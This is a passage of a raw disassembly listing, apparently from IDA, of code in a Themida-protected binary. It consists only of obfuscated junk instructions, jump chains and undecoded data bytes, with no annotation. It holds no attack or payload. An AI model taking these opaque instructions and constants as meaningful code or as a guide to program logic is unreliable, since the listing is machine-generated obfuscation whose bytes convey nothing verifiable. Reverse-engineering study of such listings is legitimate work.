CODE XREF: Themida_:00592BBFj add ebx, ecx add ebx, 74B36A0Fh mov [ebx], eax mov ebx, [esp] add esp, 4 mov ecx, [esp] jmp loc_592C50 ; --------------------------------------------------------------------------- loc_5977EE: ; CODE XREF: Themida_:00596228j mov ebp, 71F9072Eh push edx mov edx, 1ED30727h jmp loc_59782F ; --------------------------------------------------------------------------- loc_5977FE: ; CODE XREF: Themida_:0058DE83j add ecx, 630755B0h mov [edi+24h], ecx pop ecx pop edx xor edx, edx push 6997h mov [esp], esi push esp pop esi add esi, 4 sub esi, 4 push esi push dword ptr [esp+4] push dword ptr [esp] pop esi jmp loc_597926 ; --------------------------------------------------------------------------- loc_59782F: ; CODE XREF: Themida_:005977F9j neg edx or edx, 364D4E3Fh neg edx add edx, 68F75C89h jmp loc_597E2E ; --------------------------------------------------------------------------- loc_597844: ; CODE XREF: Themida_:0058E89Dj push edi push ecx push 26A019Dh jmp loc_5924C7 ; --------------------------------------------------------------------------- loc_597850: ; CODE XREF: Themida_:00597609j xor al, 37h mov bl, al push dword ptr [esp] pop eax jmp loc_597FBC ; --------------------------------------------------------------------------- db 5Ah, 81h, 0C2h dd 4, 2AF368h, 24048900h, 4EC81h, 0EE90000h db 9, 2 dup(0) ; --------------------------------------------------------------------------- loc_597877: ; CODE XREF: Themida_:00595E74j add esi, 4 xchg esi, [esp] jmp loc_593C43 ; --------------------------------------------------------------------------- loc_597882: ; CODE XREF: Themida_:0058F953j jmp loc_59416A ; --------------------------------------------------------------------------- loc_597887: ; CODE XREF: Themida_:00593E36j push edx mov edx, 2B404F1Fh shr edx, 7 jmp loc_58B812 ; --------------------------------------------------------------------------- loc_597895: ; CODE XREF: Themida_:00597A3Fj push esi mov esi, 3DBC0580h jmp loc_59820C ; --------------------------------------------------------------------------- loc_5978A0: ; CODE XREF: Themida_:0058C44Cj ; Themida_:0059533Dj push dword ptr [esp] pop edi push 4456h mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp xor ebx, eax push small word ptr [eax] jmp loc_58B37B ; --------------------------------------------------------------------------- loc_5978CA: ; CODE XREF: Themida_:005943EEj sub bl, al pop eax sub bl, 33h xor bl, 0A2h sub esp, 4 mov [esp], eax push edx mov dh, bl mov ah, dh pop edx mov dh, ah mov eax, [esp] add esp, 4 pop ebx xor al, dh mov dx, [esp] add esp, 2 sub esp, 2 mov [esp], dx mov dl, 52h add bl, 0EFh jmp loc_58BD1C ; --------------------------------------------------------------------------- loc_597908: ; CODE XREF: Themida_:0058EFF4j push edx push 135C6F1Dh mov edx, [esp] add esp, 4 push ecx jmp loc_58C0F8 ; --------------------------------------------------------------------------- db 2Ch, 7Dh, 88h dd 75BFE9C6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_597926: ; CODE XREF: Themida_:0059782Aj sub esp, 4 jmp loc_58FE42 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0FF5445E9h db 0FFh ; --------------------------------------------------------------------------- loc_597939: ; CODE XREF: Themida_:0058D9F3j xor edx, [esp] pop esp jmp loc_591317 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 57240C89h, 0BAA9E954h, 0E952FFFFh, 0FFFF72FEh, 2434FF5Bh dd 0FF6D56E9h db 0FFh ; --------------------------------------------------------------------------- loc_597961: ; CODE XREF: Themida_:00597163j neg edx shl edx, 7 jmp loc_58C84D ; --------------------------------------------------------------------------- loc_59796B: ; CODE XREF: Themida_:00595128j pop esi jmp loc_5903DA ; --------------------------------------------------------------------------- loc_597971: ; CODE XREF: Themida_:005983CBj push ebx mov ebx, esp jmp loc_58C4EF ; --------------------------------------------------------------------------- loc_597979: ; CODE XREF: Themida_:0058D029j mov ebx, esp push 4588h mov [esp], ecx jmp loc_58CC63 ; --------------------------------------------------------------------------- dd 0F03E6C1h, 0FFECD18Ah, 4EC81FFh, 0E9000000h, 0FFFFC002h dd 0BF243C89h, 51EA0D23h, 0FF6FFDE9h db 0FFh ; --------------------------------------------------------------------------- loc_5979A9: ; CODE XREF: Themida_:005959A2j ; Themida_:00597380j pop edx pop dword ptr [esp] pop esp push edi mov edi, 7B053782h xor edi, 534F21A9h shl edi, 3 neg edi sub edi, 491E7466h not edi sub edi, 8B6F25BBh jmp loc_5931AF ; --------------------------------------------------------------------------- dw 0B1BBh dd 8116610Fh, 610FB1EBh, 5BDA8916h, 2956EA81h, 0FA2950D9h dd 2956C281h, 0D78750D9h, 968CE95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5979F6: ; CODE XREF: Themida_:00594097j pop eax mov ecx, [esp] push ebx push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push ebx mov ebx, 5AB76B11h xchg esi, ebx jmp loc_58F254 ; --------------------------------------------------------------------------- loc_597A17: ; CODE XREF: Themida_:0058BE47j add esi, 4 push edx mov edx, 4 add esi, edx pop edx push esi push dword ptr [esp+4] push dword ptr [esp] pop esi jmp loc_58E06D ; --------------------------------------------------------------------------- loc_597A34: ; CODE XREF: Themida_:0058D1E3j ; Themida_:00591AA9j sub ecx, 35BFA80h add edi, ecx pop ecx add edi, ecx jmp loc_597895 ; --------------------------------------------------------------------------- loc_597A44: ; CODE XREF: Themida_:0058D356j mov ebp, [esp] jmp loc_592D8C ; --------------------------------------------------------------------------- loc_597A4C: ; CODE XREF: Themida_:0058B928j add dword ptr [esp], 4 jmp loc_597D10 ; --------------------------------------------------------------------------- dd 8324148Bh, 0C8904ECh, 0E9E18924h, 0FFFFCDC8h, 0BE56E189h dd 33801EEAh, 187DF681h, 0E6C131FAh, 2EEC103h, 16CE814Eh dd 813B8226h, 0F62F3BEEh, 5EF1013Fh, 0FF85D2E9h db 0FFh ; --------------------------------------------------------------------------- loc_597A91: ; CODE XREF: Themida_:00591E1Aj mov edx, 1BAC68D1h xor edx, 280F607Ch add edx, 0FFADF35Ah add ebp, edx pop edx xor eax, ebp jmp loc_59596A ; --------------------------------------------------------------------------- loc_597AAC: ; CODE XREF: Themida_:00596798j pop ebp jmp loc_5971C8 ; --------------------------------------------------------------------------- loc_597AB2: ; CODE XREF: Themida_:005973D5j sub ecx, edx mov edx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_591507 ; --------------------------------------------------------------------------- db 58h dd 0FF3E1AE9h db 0FFh ; --------------------------------------------------------------------------- loc_597AD1: ; CODE XREF: Themida_:00598428j mov ebp, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp or edx, eax shl edx, 1 push ebp jmp loc_596EAA ; --------------------------------------------------------------------------- dw 0BA52h dd 20026218h, 815AD529h, 0A47ECEC5h, 81CD0178h, 0A47ECEEDh dd 1EE95178h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_597B0B: ; CODE XREF: Themida_:005942DFj sub ecx, 0AA20915h add ecx, esi jmp loc_5976D4 ; --------------------------------------------------------------------------- loc_597B18: ; CODE XREF: Themida_:005976DCj xchg ecx, [esp] pop esp push edi mov edi, esp add edi, 4 jmp loc_5951B3 ; --------------------------------------------------------------------------- loc_597B2A: ; CODE XREF: Themida_:0059824Fj pop esi jmp loc_590F7A ; --------------------------------------------------------------------------- loc_597B30: ; CODE XREF: Themida_:00595FD1j push ecx mov ecx, 4 add ebp, ecx jmp loc_58C067 ; --------------------------------------------------------------------------- loc_597B3D: ; CODE XREF: Themida_:00590CB7j mov eax, [esp] add esp, 4 sub eax, edi mov edi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_58CA4C ; --------------------------------------------------------------------------- loc_597B60: ; CODE XREF: Themida_:0059779Ej dec ah jge loc_58ED58 xor ah, 51h jmp loc_59718D ; --------------------------------------------------------------------------- dd 6604EC83h, 6641942Dh, 5166F829h, 94BB6653h, 82CE941h db 2 dup(0) word_597B86 dw 34FFh ; DATA XREF: Themida_:0058B2D0o dd 2434FF24h, 4C48159h, 83000000h, 48904ECh, 4EC8124h dd 89000000h, 4812424h, 424h, 0F2B1E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_597BAE: ; CODE XREF: Themida_:00593D7Cj pop ebx jmp loc_59467A ; --------------------------------------------------------------------------- loc_597BB4: ; CODE XREF: Themida_:0058C863j mov dx, [esp] sub esp, 4 mov [esp], ecx push esp pop ecx add ecx, 4 add ecx, 2 push ecx push dword ptr [esp+4] jmp loc_596972 ; --------------------------------------------------------------------------- loc_597BD3: ; CODE XREF: Themida_:0058D5F1j add ecx, 4 xchg ecx, [esp] pop esp push 3675h mov [esp], ecx jmp loc_58B5B9 ; --------------------------------------------------------------------------- loc_597BE7: ; CODE XREF: Themida_:0058DC0Bj mov ebp, 52824DA2h push 2AB4h mov [esp], ebx mov ebx, 792811FDh jmp loc_5939A4 ; --------------------------------------------------------------------------- loc_597BFE: ; CODE XREF: Themida_:0059262Cj sub esp, 4 mov [esp], edi mov edi, 2 add ecx, edi pop edi jmp loc_590056 ; --------------------------------------------------------------------------- loc_597C11: ; CODE XREF: Themida_:00598227j pop eax xchg ecx, [esp] mov esp, [esp] cmp cx, ax pushf jmp loc_58F78B ; --------------------------------------------------------------------------- loc_597C21: ; CODE XREF: Themida_:005938E5j push 0C8Fh jmp loc_58FB3E ; --------------------------------------------------------------------------- db 81h dd 0D61EB1EBh, 0E9FB013Eh, 0FFFF77F3h dword_597C38 dd 0E9D831ADh, 0FFFFDB02h, 0C281E289h, 4, 4C281h, 14330000h ; DATA XREF: Themida_:0058B104o dd 24143124h, 5C241433h, 9C240401h, 0FF371AE9h db 0FFh byte_597C61 db 0F6h, 1Ch, 24h ; DATA XREF: Themida_:0058B150o dd 3711E99Ch, 0C380FFFFh, 8BF380A7h, 4EC81h, 20E90000h db 54h, 2 dup(0FFh) byte_597C7B db 66h ; DATA XREF: Themida_:0058B168o dd 0F8E932FFh, 0FEFFFF36h, 0CDC280C2h, 0F1E9D528h db 0B4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_597C8F: ; CODE XREF: Themida_:0058E6DCj mov ecx, [esp] add esp, 4 and eax, edi mov edi, [esp] add esp, 4 or edx, eax jmp loc_592686 ; --------------------------------------------------------------------------- loc_597CAA: ; CODE XREF: Themida_:0058D988j push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp shr eax, 0Bh xor ecx, eax sub esp, 4 mov [esp], edi push esp pop edi push esi jmp loc_590651 ; --------------------------------------------------------------------------- loc_597CCF: ; CODE XREF: Themida_:0058BF5Ej and edx, 6E70608Eh and edx, 29074C85h push ecx mov ecx, 15E60F41h and edx, ecx pop ecx sub edx, 0FFFFFFFEh sub esi, 29E20168h jmp loc_591A27 ; --------------------------------------------------------------------------- db 80h, 0E7h, 1Fh dd 0FFEF7CE9h, 515F54FFh, 4B9h, 0BDC78100h, 0E90BEC7Ah dd 0FFFFD9EEh ; --------------------------------------------------------------------------- loc_597D10: ; CODE XREF: Themida_:00597A53j mov edx, [esp] add esp, 4 jmp loc_595FA9 ; --------------------------------------------------------------------------- byte_597D1B db 0ACh ; DATA XREF: Themida_:0058B2FCo dd 0D7E9BB2Ch, 81FFFF9Ah, 0BA0C49EBh, 6AF38139h, 29576A13h dd 0CD015BDDh, 0FF76BFE9h db 0FFh ; --------------------------------------------------------------------------- loc_597D39: ; CODE XREF: Themida_:0059056Dj push dword ptr [esp] jmp loc_5918A7 ; --------------------------------------------------------------------------- db 89h, 0CFh, 89h dd 0C1595FFEh, 0EEC102EEh, 70F9E907h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_597D52: ; CODE XREF: Themida_:005951AEj mov esp, [esp] btc [esp], ax pushf jmp loc_5946E6 ; --------------------------------------------------------------------------- dd 4244481h, 25354F66h, 2404295Bh, 4EC81h, 1C890000h, 0C230E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_597D7A: ; CODE XREF: Themida_:00593F1Fj mov esi, 78F57ED8h sub esi, ebx pop ebx mov eax, esi mov esi, [esp] push edx mov edx, esp jmp loc_596E06 ; --------------------------------------------------------------------------- align 10h dd 24C680C6h, 50C62858h, 0FF39F4E9h db 0FFh byte_597D9D db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0058B120o aHo_ db '$h╝_',0 align 2 dw 0C89h dd 83595424h, 348904ECh, 81E68924h, 4C6h, 4EE8300h, 5C243487h dd 0BB241C89h, 4FAE7A78h, 5726E943h, 489FFFFh, 0BFFB824h dd 44290B7Eh, 1580824h, 8104247Ch, 0FF042444h, 810B7E0Bh dd 9904246Ch, 5F46173Eh, 0FF3586E9h, 68E981FFh, 13AB8D7h dd 0C78359CFh, 0B702E904h, 0E951FFFFh, 0FFFF749Fh ; --------------------------------------------------------------------------- loc_597E0C: ; CODE XREF: Themida_:00592272j ; Themida_:0059272Fj push esi jmp loc_593596 ; --------------------------------------------------------------------------- loc_597E12: ; CODE XREF: Themida_:0058CEB7j mov edx, 133F40B5h not edx add edx, 7DC30CB1h sub edx, 6A83CBF7h add esi, edx pop edx push edx jmp loc_59407C ; --------------------------------------------------------------------------- loc_597E2E: ; CODE XREF: Themida_:0059783Fj or ebp, edx pop edx or ebp, 26A632FBh add ebp, 88008005h add esi, ebp pop ebp sub esi, 4 jmp loc_58EECE ; --------------------------------------------------------------------------- dd 0F07E8C0h, 0FF47E284h, 0FD8F6FFh, 0FF9EE78Ah, 88F388FFh dd 30C630D1h, 0C76866F0h, 0CD37E932h, 8F2CFFFFh, 281D0459h dd 86CAE9D8h db 2 dup(0FFh) word_597E76 dw 8B66h ; DATA XREF: Themida_:0058B2CCo dd 6850240Ch, 2BD2h, 4EC81h, 24890000h, 24048124h, 4, 8324048Fh dd 0E9042404h, 0FFFF80EAh, 0B7241C89h, 0FED7F66Ch, 0F5E780C7h dd 521AEF80h, 0D6F6C5B6h, 0CEFEDEF6h, 4EC81h, 1C890000h dd 0B5E95124h, 89FFFFECh, 0B9512424h, 4, 4244C01h, 0BA525D59h dd 5ED507DAh, 0EAC1D2F7h, 0F4EA8108h, 100A12Ah, 0EC815AD5h dd 4, 0B8240489h, 2, 48BC501h, 383AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_597EFE: ; CODE XREF: Themida_:005939F8j mov bh, ah push ecx push eax mov ah, bh mov cl, ah pop eax jmp loc_58EA5F ; --------------------------------------------------------------------------- loc_597F0C: ; CODE XREF: Themida_:0059358Bj mov [esp], ebp push edi jmp loc_58C2CD ; --------------------------------------------------------------------------- loc_597F15: ; CODE XREF: Themida_:0058E1EFj push ecx not dword ptr [esp] mov ecx, [esp] push edi mov edi, esp jmp loc_59397B ; --------------------------------------------------------------------------- loc_597F24: ; CODE XREF: Themida_:00593CC1j sub edx, eax add edx, 4BDD51CEh mov eax, [esp] add esp, 4 push edx pop eax push dword ptr [esp] mov edx, [esp] add esp, 4 jmp loc_59085C ; --------------------------------------------------------------------------- loc_597F48: ; CODE XREF: Themida_:0058C51Aj add esp, 4 pop dword ptr [esp] pop esp push 10A7h mov [esp], ebp mov ebp, 4F1C6558h push ecx mov ecx, 0EE15503h push ebx mov ebx, 4CB0261Fh sub eax, ebx pop ebx sub eax, ecx add eax, 4CB0261Fh pop ecx add eax, 4CD95517h jmp loc_590C76 ; --------------------------------------------------------------------------- loc_597F7D: ; CODE XREF: Themida_:00593B43j mov ecx, [esp] sub esp, 4 mov [esp], ecx push esp pop ecx add ecx, 4 add ecx, 4 jmp loc_5936DE ; --------------------------------------------------------------------------- db 5Ch, 0E9h, 0DCh dd 88FFFF33h, 240C8BCAh, 4C481h, 0EA800000h, 80C20012h dd 0F65812C2h, 0E9C2FED2h, 0FFFF5119h ; --------------------------------------------------------------------------- loc_597FBC: ; CODE XREF: Themida_:00597858j add esp, 4 sub al, 81h sub al, bl push edx mov dl, 2Eh sub dl, 0ADh add al, dl pop edx mov bx, [esp] jmp loc_58E21D ; --------------------------------------------------------------------------- loc_597FD8: ; CODE XREF: Themida_:0058CE0Cj mov esp, [esp] push eax mov eax, esp add eax, 4 sub eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp mov [esp], edx push eax mov eax, 26A226AEh push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp jmp loc_593DD1 ; --------------------------------------------------------------------------- loc_598014: ; CODE XREF: Themida_:00594FA0j add ebp, 4 xchg ebp, [esp] pop esp push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push edx push 25A8h mov [esp], esp add dword ptr [esp], 4 pop edx jmp loc_594AA1 ; --------------------------------------------------------------------------- db 0E9h, 0F2h, 57h dd 0F281FFFFh, 380639FFh, 0B85C8D0Fh, 5BE9FFFFh, 0FFFFFFEAh dd 0F98B2434h ; --------------------------------------------------------------------------- loc_59805C: ; CODE XREF: Themida_:00594B1Fj jmp loc_595241 ; --------------------------------------------------------------------------- loc_598061: ; CODE XREF: Themida_:0059257Cj mov ebx, esp push edx push ebp mov ebp, 4 mov edx, ebp pop ebp add ebx, edx pop edx add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp push small 2D9Bh mov [esp], bx push ebx jmp loc_58DFA6 ; --------------------------------------------------------------------------- loc_59808E: ; CODE XREF: Themida_:0058BC4Ej jmp loc_58B37B ; --------------------------------------------------------------------------- db 5Dh dd 4C581h, 0ED810000h, 4, 5C242C87h, 0BB241C89h, 4, 0A8E9DD01h db 84h, 2 dup(0FFh) byte_5980B3 db 66h ; DATA XREF: Themida_:0058B114o dd 0E9240C8Bh, 0FFFFF13Ah ; --------------------------------------------------------------------------- loc_5980BC: ; CODE XREF: Themida_:0058E651j add esi, 1B657C3Ch add edx, esi pop esi jmp loc_58B37B ; --------------------------------------------------------------------------- loc_5980CA: ; CODE XREF: Themida_:00593999j xchg eax, [esp] mov esp, [esp] mov ax, [esp] sub esp, 4 mov [esp], edi mov edi, esp jmp loc_593FF4 ; --------------------------------------------------------------------------- dd 6C1EF681h, 0E9531095h, 0FFFF85B0h ; --------------------------------------------------------------------------- loc_5980F0: ; CODE XREF: Themida_:00596BD6j push ebp mov ebp, 316F1409h sub edx, ebp jmp loc_596A84 ; --------------------------------------------------------------------------- loc_5980FD: ; CODE XREF: Themida_:0058E581j add ebp, eax pop eax pop eax add ebp, 2 xchg ebp, [esp] jmp loc_59583F ; --------------------------------------------------------------------------- db 8Bh dd 0B0E92424h, 1FFFF94h, 58082444h, 4EC81h, 0A7E90000h dd 68FFFFFCh, 175C4C1Dh, 14F2815Ah, 0F77E776Fh, 0E9D2F7DAh dd 0FFFF925Eh, 0B45EE951h, 0C481FFFFh, 4, 0FFA884E9h db 0FFh ; --------------------------------------------------------------------------- loc_59814D: ; CODE XREF: Themida_:005970D9j mov edx, eax push edx pop edi mov edx, [esp] add esp, 4 pop eax xor [esp+4], edi pop edi pop edi xor edi, 292A2882h pop ebp and eax, edi push dword ptr [esp] jmp loc_58D41E ; --------------------------------------------------------------------------- loc_59816F: ; CODE XREF: Themida_:005941DCj mov edx, ecx pop ecx jmp loc_590427 ; --------------------------------------------------------------------------- db 53h dd 9C0BE955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59817E: ; CODE XREF: Themida_:005924A5j mov eax, esp jmp loc_58FFE8 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 0FC538B68h, 0E2815A45h, 5A801858h, 0FF6A65E9h db 0FFh ; --------------------------------------------------------------------------- loc_598199: ; CODE XREF: Themida_:00592AD9j mov ecx, 58744531h jmp loc_58F7EA ; --------------------------------------------------------------------------- loc_5981A3: ; CODE XREF: Themida_:0058D823j pop esi xchg eax, [esp] pop esp mov cx, [esp] push 1B3Dh mov [esp], ebp jmp loc_58BEBF ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 4240481h, 0E9000000h, 0FFFFB722h dword_5981C8 dd 901BE9ACh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5981CE: ; CODE XREF: Themida_:00590D4Fj push ebx push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] push ebp mov ebp, 2 add ebx, ebp pop ebp xchg ebx, [esp] mov esp, [esp] sub esp, 4 mov [esp], ebx push 412Fh mov [esp], ecx push esp pop ecx push eax mov eax, 4 add ecx, eax jmp loc_58D695 ; --------------------------------------------------------------------------- loc_59820C: ; CODE XREF: Themida_:0059789Bj push edx mov edx, 4A754722h jmp loc_5939BB ; --------------------------------------------------------------------------- loc_598217: ; CODE XREF: Themida_:005931CBj mov ebx, 59290278h sub ebx, 0D92891EDh add eax, ebx pop ebx add ecx, eax jmp loc_597C11 ; --------------------------------------------------------------------------- dd 637468BAh, 6EAC156h, 35ACE94Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59823A: ; CODE XREF: Themida_:00596764j pop edi xchg esi, [esp] mov esp, [esp] std push 0E0Eh mov [esp], esi push 7D140152h jmp loc_597B2A ; --------------------------------------------------------------------------- dd 7C72C781h, 13E9171Fh db 0EAh, 2 dup(0FFh) byte_59825F db 0FFh ; DATA XREF: Themida_:0058B0A4o dd 48B2434h, 4C48324h, 0FF3989E9h, 4BE56FFh, 81000000h dd 411A76C2h, 81F2011Ch, 411A76EAh, 14875E1Ch, 1BE95C24h db 9Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59828B: ; CODE XREF: Themida_:0058BFD4j push eax mov eax, 21646E9Ch or eax, 3F145E8Fh sub eax, 0AA31AF3h shr eax, 6 jmp loc_59069A ; --------------------------------------------------------------------------- loc_5982A3: ; CODE XREF: Themida_:0058E1F6j pop ebx xchg edx, [esp] pop esp and eax, ebp mov ebp, [esp] add esp, 4 or edx, eax shl edx, 1 push esi push esp pop esi add esi, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_595292 ; --------------------------------------------------------------------------- db 8Bh dd 44E92424h db 0A2h, 2 dup(0FFh) byte_5982D7 db 0FFh ; DATA XREF: Themida_:0058B1BCo dd 0C8B2434h, 17586824h, 2C890000h, 0C6E2E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5982EA: ; CODE XREF: Themida_:0058D2AEj add edx, 34826E12h jp loc_58F0B1 not edx jmp loc_592455 ; --------------------------------------------------------------------------- loc_5982FD: ; CODE XREF: Themida_:0058FC33j xor dword ptr [esp], 61F4B69h push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 add esp, 4 jmp loc_598358 ; --------------------------------------------------------------------------- loc_59831C: ; CODE XREF: Themida_:0058E962j pop ebx jmp loc_58F1C9 ; --------------------------------------------------------------------------- dw 53BFh dd 814FF577h, 0C02973EFh, 5FF801EDh, 42A1E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_598336: ; CODE XREF: Themida_:0059113Cj mov ecx, esi mov esi, [esp] jmp loc_58DEA4 ; --------------------------------------------------------------------------- dword_598340 dd 0E92434FFh, 0FFFF9024h, 0B753D8F6h, 0CE8CE96Ch ; DATA XREF: Themida_:0058B2C8o db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_598352: ; CODE XREF: Themida_:005916EFj pop esp jmp loc_5969FA ; --------------------------------------------------------------------------- loc_598358: ; CODE XREF: Themida_:00598317j push 1D21h mov [esp], eax push 60422ECDh jmp loc_59111B ; --------------------------------------------------------------------------- dw 0B951h dd 359F579Fh, 0FFD5B9E9h db 0FFh ; --------------------------------------------------------------------------- loc_598375: ; CODE XREF: Themida_:00591890j neg ecx shl ecx, 8 add ecx, 30AC2911h jmp loc_5934CF ; --------------------------------------------------------------------------- loc_598385: ; CODE XREF: Themida_:0058E493j sub esi, 0FFFFFFFFh shr esi, 1 shr esi, 5 push edx mov edx, 75BDB79Ch add esi, edx push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 xor eax, esi mov esi, [esp] push edx jmp loc_58EC39 ; --------------------------------------------------------------------------- dw 8966h dd 1665BD9h, 0E95966C8h, 0FFFF4558h ; --------------------------------------------------------------------------- loc_5983C0: ; CODE XREF: Themida_:0058D1B6j pop ebp add ebp, 4D6E69F1h pop ecx mov edi, [esp] jmp loc_597971 ; --------------------------------------------------------------------------- loc_5983D0: ; CODE XREF: Themida_:005905E2j sub edx, esi add edx, 61863996h add edx, 52596B1Eh push ebp mov ebp, 81607EFh dec ebp not ebp inc ebp or ebp, 532A234Ch xor ebp, 0FFB8A15Eh sub edx, ebp jmp loc_58D1EA ; --------------------------------------------------------------------------- loc_5983FB: ; CODE XREF: Themida_:0058C498j pop eax jmp loc_597795 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 0B9515357h, 1A37026Ah, 0B379E981h, 0CB891A2Dh, 0AFD5E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59841A: ; CODE XREF: Themida_:00591CCBj pop edi add edx, 41AE7914h jmp loc_595F7B ; --------------------------------------------------------------------------- loc_598426: ; CODE XREF: Themida_:0058E218j and eax, ebp jmp loc_597AD1 ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 0EC815D54h, 4, 0FFE64DE9h, 4EC83FFh, 0FF3720E9h, 620568FFh dd 0C890000h, 204FB924h, 0F492B04h, 0FFD5178Dh, 0B6C181FFh dd 89D4FBDFh, 240C8BC8h, 0EB81C301h, 381702B7h, 7159C381h dd 73E92D22h db 7Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_598477: ; CODE XREF: Themida_:0058D70Fj push ebp mov ebp, 91F5464h add ebp, 321F7695h push edi mov edi, 5C4A1AEFh sub edi, 4AC9B149h add ebp, edi pop edi inc ebp add ebp, 0B340CB64h add ecx, ebp jmp loc_5922BB ; --------------------------------------------------------------------------- dd 46BBE381h, 830F0F81h, 0FFFFB172h, 8D21EB81h, 0C4C69C14h db 28h, 50h ; --------------------------------------------------------------------------- loc_5984B6: ; CODE XREF: Themida_:00592E79j pop esp push ecx mov ecx, 766A0C77h sub eax, ecx pop ecx push ebx push eax mov eax, 6F4D2608h jmp loc_59097B ; --------------------------------------------------------------------------- dd 0E9240489h, 0FFFF4D27h ; --------------------------------------------------------------------------- loc_5984D4: ; CODE XREF: Themida_:00591B2Fj xor edi, 0CD9E54Ah jmp loc_58EEBF ; --------------------------------------------------------------------------- loc_5984DF: ; CODE XREF: Themida_:0058B5E8j mov ebp, 10845853h mov ebx, ebp pop ebp and ebx, 4D777DE8h jl loc_5911F7 sub ebx, 0FFFFFFFFh shr ebx, 7 jz loc_58BDA9 jmp loc_58E89C ; --------------------------------------------------------------------------- loc_598507: ; CODE XREF: Themida_:005911CEj xor ecx, 6AB25BB1h sub ecx, 83616976h shr ecx, 4 push 2650h mov [esp], esi mov esi, 6DC42915h sub ecx, 3CFF23D7h sub ecx, esi add ecx, 3CFF23D7h jmp loc_591008 ; --------------------------------------------------------------------------- loc_598536: ; CODE XREF: Themida_:005976E3j mov cl, 1Ch jmp loc_593268 ; --------------------------------------------------------------------------- db 81h, 0F3h, 84h dd 29E226B5h, 0CCE95BD8h db 81h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59854B: ; CODE XREF: Themida_:0058D493j xor edi, 0A7B55F74h mov ebp, edi pop edi jmp loc_596463 ; --------------------------------------------------------------------------- loc_598559: ; CODE XREF: Themida_:005933ACj mov edx, 28h add edx, edi jmp loc_5921B0 ; --------------------------------------------------------------------------- byte_598565 db 0FFh, 77h, 2Ch ; DATA XREF: Themida_:0058B1B4o dd 0FF2E0EE9h db 0FFh ; --------------------------------------------------------------------------- loc_59856D: ; CODE XREF: Themida_:0058E30Fj push esi mov esi, 54D335EFh jmp loc_58C163 ; --------------------------------------------------------------------------- loc_598578: ; CODE XREF: Themida_:0058FAC4j xor eax, ebp jmp loc_58ED82 ; --------------------------------------------------------------------------- loc_59857F: ; CODE XREF: Themida_:00591C25j push esi not dword ptr [esp] jmp loc_58BA16 ; --------------------------------------------------------------------------- loc_598588: ; CODE XREF: Themida_:00591CABj ; DATA XREF: Themida_:0058B17Co push dword ptr [esp] mov ecx, [esp] jmp loc_58E717 ; --------------------------------------------------------------------------- db 66h dd 6299E951h, 0BF57FFFFh, 617B2254h, 54ABD55h, 54E900A0h db 0A3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5985AB: ; CODE XREF: Themida_:00596D55j mov ebp, 18141694h and ebp, 76F90B2Bh push edi mov edi, 4FD4A4Ah and edi, 6250E60h jmp loc_595A04 ; --------------------------------------------------------------------------- loc_5985C7: ; CODE XREF: Themida_:00591DFDj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_593A4C ; --------------------------------------------------------------------------- db 1, 0F3h, 5Eh dd 4EC81h, 1C890000h, 2474FF24h, 48F5B04h, 40E95C24h db 74h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5985F7: ; CODE XREF: Themida_:0058DE9Fj pop dword ptr [esp] jmp loc_58F4A0 ; --------------------------------------------------------------------------- db 81h dd 4C7h, 4C78300h, 0FFA7F4E9h db 0FFh ; --------------------------------------------------------------------------- loc_59860D: ; CODE XREF: Themida_:00597511j pop ecx push 376Eh mov [esp], ebx jmp loc_58DC8A ; --------------------------------------------------------------------------- align 4 dd 0D0005BDAh, 0FF8A39E9h db 0FFh ; --------------------------------------------------------------------------- loc_598625: ; CODE XREF: Themida_:0058EA35j ; Themida_:00595236j xor eax, ecx xor eax, ecx xor ecx, eax xor eax, ecx push ecx not dword ptr [esp] pop ecx push eax sub esp, 4 mov [esp], ecx push dword ptr [esp] pop eax jmp loc_58B9DE ; --------------------------------------------------------------------------- dw 0E681h dd 491E2E55h, 0F5F2C681h, 50E9BFE1h, 31FFFF5Eh, 4332404h dd 0D35CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- 